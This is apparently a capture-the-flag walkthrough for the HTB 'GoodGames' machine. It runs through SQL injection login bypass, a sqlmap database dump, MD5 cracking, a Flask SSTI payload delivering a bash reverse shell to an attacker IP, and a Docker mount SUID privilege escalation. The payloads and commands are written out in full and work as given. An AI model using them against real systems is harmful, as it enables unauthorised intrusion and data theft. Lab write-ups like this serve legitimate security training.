Recon

Nmap

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
Service Info: Host: goodgames.htb

We can see the machine has only one port open HTTP 80 running werkzeug/2.0.2

We should add the host to our /etc/host file

Port 80 HTTP

screenshot_2023-06-10_at_19-38-48_goodgames_community_and_store.png

directory listing

200      909l     2572w    44212c http://goodgames.htb/blog
200      267l      545w     9267c http://goodgames.htb/profile
200        0l        0w    33387c http://goodgames.htb/signup

/profile

screenshot_2023-06-11_at_13-06-12_goodgames_community_and_store.png

We can try a simple sqli authentication bypass technique: admin') or ('1'='1'— or

admin' or 1 = 1 -- We can see that it responds with “welcome admin”

After logging in as admin we can see admin detail and we come across a new subdomain: http://internal-administration.goodgames.htb/

screenshot_2023-06-11_at_13-35-36_volt_free_bootstrap_dashboard_-_sign_up_page.png

POST /login HTTP/1.1
Host: goodgames.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Origin: http://goodgames.htb
DNT: 1
Connection: close
Referer: http://goodgames.htb/
Upgrade-Insecure-Requests: 1

email=admin' or 1 = 1 -- -&password=password
HTTP/1.1 200 OK
Date: Sun, 11 Jun 2023 13:24:27 GMT
Server: Werkzeug/2.0.2 Python/3.9.2
Content-Type: text/html; charset=utf-8
Vary: Cookie,Accept-Encoding
Set-Cookie: session=.eJw1yz0KgDAMBtC7fHMRXDN5E4kkjYX-QNNO4t3t4v7egzN29RsUObsGaOGUQWApqR7WmhgX9e0eFwKSgPaA3MxUUgWNPlearr0u9j-8Hz1GHgw.ZIXLCw.3jE1vjXlRtxSLqKPAN6SiZagtCE; HttpOnly; Path=/
Content-Length: 9285
Connection: close

<!DOCTYPE html>

    
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <title>GoodGames | Login Success</title>

We can proceed to capture the request wit Burp and send it to sqlmap

sqlmap -r login.req --batch

POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 88 HTTP(s) requests:
---
Parameter: email (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: email=admin@goodgames.htb' UNION ALL SELECT NULL,NULL,NULL,CONCAT(CONCAT('qqqjq','GKwYiSVXBOFZLXcLwAcSWHDpGEauICyGgKmdVgSP'),'qvppq')-- oeGZ&password=password
---
[16:56:45] [INFO] testing MySQL
[16:56:46] [INFO] confirming MySQL
[16:56:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 8.0.0

sqlmap -r login.req —dbs

[16:58:20] [INFO] fetching database names
got a refresh intent (redirect like response common to login pages) to '/profile'. Do you want to apply it from now on? [Y/n] n
available databases [2]:
[*] information_schema
[*] main

sqlmap -r login.req -D main —tables

[17:00:31] [INFO] fetching tables for database: 'main'
got a refresh intent (redirect like response common to login pages) to '/profile'. Do you want to apply it from now on? [Y/n] n
Database: main
[3 tables]
+---------------+
| user          |
| blog          |
| blog_comments |
+---------------+

sqlmap -r login.req -D main -T user —dump

Database: main
Table: user
[1 entry]
+----+---------------------+--------+----------------------------------+
| id | email               | name   | password                         |
+----+---------------------+--------+----------------------------------+
| 1  | admin@goodgames.htb | admin  | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+---------------------+--------+----------------------------------+

john hash --format=Raw-md5 --wordlist=/home/xi/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
superadministrator (?)

Sweet, now we have a password to log in to the new dashboard we discovered

screenshot_2023-06-11_at_14-09-54_volt_-_free_bootstrap_5_dashboard.png

SSTI

Navigating the settings page we notice that we can edit our user details. As this is a Python

Flask application this would be a good time to test the form for Server Side Template Injection.

After changing our username to {{7*7}} we see that our username has been changed to 49

and our SSTI payload was executed.

At this stage we know the site is vulnerable to SSTI so we can inject a payload and get a shell. First

we base64 encode our payload, then start a listener locally.

echo -ne 'bash -i >& /dev/tcp/10.10.14.11/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS80NDQ0IDA+JjE=
nc -lvvp 4444

Then we construct a basic SSTI payload and deliver via the name field

{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}J2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTEvNDQ0NCApPiYxJw=={IFS}|base64${IFS}-d|bash').read()}}
root@3a453ab39d3d:/home/augustus# ls
user.txt
root@3a453ab39d3d:/home/augustus#

Privilege Escalation via Docker

A directory list of user augustus home directory shows that instead of their name, the UID 1000

is displayed as the owner for the available files and folders. This hints that the user's home

directory is mounted inside the docker container from the main system. Checking mount we see

that the user directory from the host is indeed mounted with read/write flag enabled

/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)

Enumeration of the available network adapters shows that the container IP is 172.19.0.2.

Docker usually assigns the first address of the subnet to the host system in default configurations,

so 172.19.0.2 might be the internal Docker IP address of the host .

Let's scan the host at 172.19.0.1 to see what ports are available as part of the basic checks for

lateral movement. As nmap is not installed we can use Bash instead.

for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT
&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done

We find that SSH is listening internally. We attempt to password reuse on both root and

augustus accounts.

root@3a453ab39d3d:~# ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password: 
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ 

This is successful and we log in as Augustus.

With knowledge that the user directory is mounted in the Docker container, we can write files in

the Host and change their permissions to root from within the container. These new permissions

will be reflected to the Host system as well.

Copy bash to the user directory as augustus which we are already authenticated as on the host

machine, then exit out of the SSH session. Change the ownership of the bash executable to

root:root (owned by root and in root group) from within the Docker container and apply the

SUID permissions to it.

augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ exit
logout
Connection to 172.19.0.1 closed.

==========================================
root@3a453ab39d3d:~# cd /home/augustus/
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4755 bash
root@3a453ab39d3d:/home/augustus# ls -la bash
-rwsr-xr-x 1 root root 1234376 Jun 11 15:49 bash
root@3a453ab39d3d:/home/augustus#

SSH back into augustus user on the host machine and check the permissions of the bash

executable.

augustus@GoodGames:~$ ls -la bash
-rwsr-xr-x 1 root root 1234376 Jun 11 16:49 bash
augustus@GoodGames:~$

The permissions are reflected on the host system and the duplicate Bash now has SUID

permissions. Execute ./bash -p and spawn a shell with the effective UID of root.

augustus@GoodGames:~$ ./bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)
bash-5.1#